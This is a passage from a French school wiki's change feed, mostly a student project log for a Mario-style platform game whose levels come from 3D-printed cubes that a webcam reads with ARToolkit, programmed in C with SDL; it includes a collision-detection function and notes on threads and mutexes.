| [[InitRech 2015/2016, sujet 5]] ||  Monocular 3D Reconstruction and Augmentation of Elastic Surfaces with Self-occlusion Handling || Taffin Valentin&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 7]] ||  Surgery Training, Planning and Guidance Using the SOFA Framework  || Martin Claverie&lt;br /&gt;
|- &lt;br /&gt;
| [[InitRech 2015/2016, sujet 8]] || Computer-based training system for cataract surgery || Julien Joignaux&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 9]] || Anticipation of Brain Shift in Deep Brain Stimulation Automatic Planning || Payelle Vianney&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 11]] || Interactive Training System for Interventional Electrocardiology Procedures || Loïc Delecroix&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 17]] || Fast and Accurate Embedded Systems Energy Characterization Using Non-intrusive Measurements || Le Van Phung Kevin&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 18]] || Energy Consumption of Networked Embedded Systems || Romuald Lentieul&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 21]] || Fabrication, Characterization, and Physical Analysis of AlGaN/GaN HEMTs on Flexible Substrates || Roj Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 22]] || Fabrication, characterisation of graphene based transistors || Bielle Julien&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 23]] ||  Smews: Smart and Mobile Embedded Web Server  || Pierre Fitoussi&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 24]] ||  Integrating Wireless Sensor Networks with the Web || Cuadros Alexandre&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 26]] ||  Contiki - a Lightweight and Flexible Operating System for Tiny Networked Sensors || Guillaume Villemont&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 25]] ||  Riot OS: Towards an OS for the Internet of Things || Cédric Duval&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 28]] || Scheduling Dependent Periodic Tasks Without Synchronization Mechanisms || Nathan Richez&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 13]] ||  B-spline Based Multi-organ Detection in Magnetic Resonance Imaging || Cong Chen&lt;br /&gt;
|-&lt;br /&gt;
| [[InitRech 2015/2016, sujet 27]] ||   TinyOS: An Operating System for Sensor Network  || MAIA Stéphane&lt;br /&gt;
|-&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RapportPlateformeTangible.pdf&amp;diff=30811</id>
		<title>Fichier:RapportPlateformeTangible.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RapportPlateformeTangible.pdf&amp;diff=30811"/>
				<updated>2016-05-21T14:28:50Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : a téléversé une nouvelle version de « Fichier:RapportPlateformeTangible.pdf »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RapportPlateformeTangible.pdf&amp;diff=30810</id>
		<title>Fichier:RapportPlateformeTangible.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:RapportPlateformeTangible.pdf&amp;diff=30810"/>
				<updated>2016-05-21T14:26:06Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : a téléversé une nouvelle version de « Fichier:RapportPlateformeTangible.pdf »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30294</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=30294"/>
				<updated>2016-05-02T15:42:01Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez puissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable fournie dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finie avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeu détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau était jusqu'à présent constitué de 2 types de tiles, soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles. Pour pouvoir dire à notre programme comment réagir avec ce type de tiles, nous avons modifié la fonction de gestion des collisions ( qui retournait 0 ou 1 selon la détection d'une collision avec un mur ou non) en lui permettant de renvoyer un 2 lorsqu'une collision avec un danger a été détecté.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Voici donc notre nouvelle fonction détectant les collisions : &lt;br /&gt;
&amp;lt;br&amp;gt;int CollisionDecor(Map* carte,Sprite* test)&lt;br /&gt;
&amp;lt;br&amp;gt;{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;int xmin,xmax,ymin,ymax,i,j,indicetile;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine, nous avons travaillé sur la réunion de nos programmes. Nous avons dans un premier temps tenté une exécution séparée des deux programmes afin de vérifier que la lecture du fichier de scrolling ainsi que l'actualisation de la carte se faisait correctement. Cela fonctionne mais pour le moment nous actualisons la carte en appuyant sur la touche espace et nous tenterons la semaine prochaine de faire en sorte que cela se fasse en temps réel tout en rajoutant des améliorations du côté du jeu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:exemple1rassemblement.png  |Résultat obtenu ]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
En parallèle du rassemblement, nous avons améliorer le contenu de notre jeu. Précédemment nous avions rajouté des vies à notre personnage, il nous faut donc maintenant afficher ce nombre de vie pour informer le joueur du nombre de vie qui lui reste. Comme pour de nombreux jeux de plateforme nous avons décidé d'afficher ce nombre de vie sous forme de cœur. Un cœur rouge représente une vie encore présente alors qu'un cœur vide représente une vie perdu. Pour programmer cela nous créons une nouvelle fonction avec une boucle sur le nombre de vie, on colle les cœurs de la gauche vers la droite, tant que nous sommes dans le nombre de vies restants , on colle des cœurs plein, sinon on colle des cœurs vides.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8===&lt;br /&gt;
====Rassemblement====&lt;br /&gt;
&lt;br /&gt;
Cette semaine nous avons terminé la mise en place des threads. Pour ce faire nous avons créer une fonction qui parcourt la matrice en sommant les valeurs de presence[i][j] et en vérifiant par rapport à la fois précédente afin de voir s'il y a eu changement. Si aucun changement on continue, mais dans le cas contraire, le programme de la caméra bloque le mutex afin de pouvoir écrire dans le fichier texte puis libère le mutex pour laisser le champs libre au programme du jeu. ( PHOTO DU CODE )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
